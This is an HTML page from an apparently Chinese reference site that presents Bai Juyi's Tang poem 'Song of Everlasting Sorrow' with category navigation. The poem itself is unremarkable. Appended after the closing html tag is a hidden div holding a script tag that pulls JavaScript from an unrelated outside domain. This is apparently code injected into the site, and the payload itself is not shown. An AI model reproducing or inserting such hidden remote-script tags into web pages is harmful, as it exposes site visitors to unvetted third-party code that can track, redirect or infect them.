<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱</title>
<link href="../../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh" class="BG_Lnav">
<div class="Top"><a href="../../index.htm" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><span><strong>唐诗三百首</strong></span></div>

<table class="ZL_Cont_tab" cellpadding="0" cellspacing="0">
<tbody>
  <tr>
    <td class="Cont_tbL">
	<!--左侧导航 开始-->
	<div class="NAV_L_Tit">唐诗种类</div>
<a href="../1_index.htm">五言古诗</a><a href="../2_index.htm">五言乐府</a><a href="../6_index.htm">五言绝句</a><a href="../5_index.htm">五言律诗</a><a href="../3_index.htm"  class="on">七言古诗</a><a href="../4_index.htm">七言乐府</a><a href="../7_index.htm">七言绝句</a>
	<!--左侧导航 结束-->
	</td>
    <td style="vertical-align:top">
	<!--右侧内容区 开始-->
	<div class="Cont_tit">
		<h1>
七言古诗
		</h1>
		<span>
古诗体，又称古风。按照诗句的字数分类。七字一句的称七言古诗，简称七古。
		</span>	</div>
	<!--题头结束-->
	<div class="Cont">
		<table class="ts_tab_detail" cellspacing="0" cellpadding="0">
  <tr>
    <td class="ts_det_top">
		<span class="ts_m">
长恨歌
		</span>
		<div class="clear"></div>
		<span class="ts_a">
白居易
		</span>
	</td>
    </tr>
  <tr>
    <td class="ts_c">
汉皇重色思倾国，御宇多年求不得。<br/>
杨家有女初长成，养在深闺人未识。<br/>
天生丽质难自弃，一朝选在君王侧。<br/>
回眸一笑百媚生，六宫粉黛无颜色。<br/>
春寒赐浴华清池，温泉水滑洗凝脂。<br/>
侍儿扶起娇无力，始是新承恩泽时。<br/>
云鬓花颜金步摇，芙蓉帐暖度春宵。<br/>
春宵苦短日高起，从此君王不早朝。<br/>
承欢侍宴无闲暇，春从春游夜专夜。<br/>
后宫佳丽三千人，三千宠爱在一身。<br/>
金星妆成娇侍夜，玉楼宴罢醉和春。<br/>
姊妹弟兄皆列士，可怜光彩生门户。<br/>
遂令天下父母心，不重生男重生女。<br/>
骊宫高处入青云，仙乐风飘处处闻。<br/>
缓歌慢舞凝丝竹，尽日君王看不足。<br/>
渔阳鼙鼓动地来，惊破霓裳羽衣曲。<br/>
九重城阙烟尘生，千乘万骑西南行。<br/>
翠华摇摇行复止，西出都门百馀里。<br/>
六军不发无奈何，宛转蛾眉马前死。<br/>
花钿委地无人收，翠翘金雀玉搔头。<br/>
君王掩面救不得，回看血泪相和流。<br/>
黄埃散漫风萧索，云栈萦纡登剑阁。<br/>
峨嵋山下少人行，旌旗无光日色薄。<br/>
蜀江水碧蜀山青，圣主朝朝暮暮情。<br/>
行宫见月伤心色，夜雨闻铃肠断声。<br/>
天旋地转回龙驭，到此踌躇不能去。<br/>
马嵬坡下泥土中，不见玉颜空死处。<br/>
君臣相顾尽沾衣，东望都门信马归。<br/>
归来池苑皆依旧，太液芙蓉未央柳。<br/>
芙蓉如面柳如眉，对此如何不泪垂！<br/>
春风桃李花开日，秋雨梧桐叶落时。<br/>
西宫南内多秋草，落叶满阶红不扫。<br/>
梨园子弟白发新，椒房阿监青娥老。<br/>
夕殿萤飞思悄然，孤灯挑尽未成眠。<br/>
迟迟钟鼓初长夜，耿耿星河欲曙天。<br/>
鸳鸯瓦冷霜华重，翡翠衾寒谁与共？<br/>
悠悠生死别经年，魂魄不曾来入梦。<br/>
临邛道士鸿都客，能以精诚致魂魄。<br/>
为感君王辗转思，遂教方士殷勤觅。<br/>
排空驭气奔如电，升天入地求之遍。<br/>
上穷碧落下黄泉，两处茫茫皆不见。<br/>
忽闻海上有仙山，山在虚无缥缈间。<br/>
楼阁玲珑五云起，其中绰约多仙子。<br/>
中有一人字太真，雪肤花貌参差是。<br/>
金阙西厢叩玉扃，转教小玉报双成。<br/>
闻道汉家天子使，九华帐里梦魂惊。<br/>
揽衣推枕起徘徊，珠箔银屏迤逦开。<br/>
云鬓半偏新睡觉，花冠不整下堂来。<br/>
风吹仙袂飘飘举，犹似霓裳羽衣舞。<br/>
玉容寂寞泪阑干，梨花一枝春带雨。<br/>
含情凝睇谢君王，一别音容两渺茫。<br/>
昭阳殿里恩爱绝，蓬莱宫中日月长。<br/>
回头下望人寰处，不见长安见尘雾。<br/>
唯将旧物表深情，钿合金钗寄将去。<br/>
钗留一股合一扇，钗擘黄金合分钿。<br/>
但教心似金钿坚，天上人间会相见。<br/>
临别殷勤重寄词，词中有誓两心知。<br/>
七月七日长生殿，夜半无人私语时。<br/>
在天愿作比翼鸟，在地愿为连理枝。<br/>
天长地久有时尽，此恨绵绵无绝期！<br/>

	</td>
    </tr>
  <tr>
    <td class="ts_back">
<input type="button" value="返回" onclick="javascript:location.href='../3_index.htm';"/>
    </td>
    </tr>
</table>

	</div>
	<!--右侧内容区 结束-->
	</td>
  </tr>
</tbody>
</table>

<!--左侧标签 结束-->
</body>
</html>
<div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>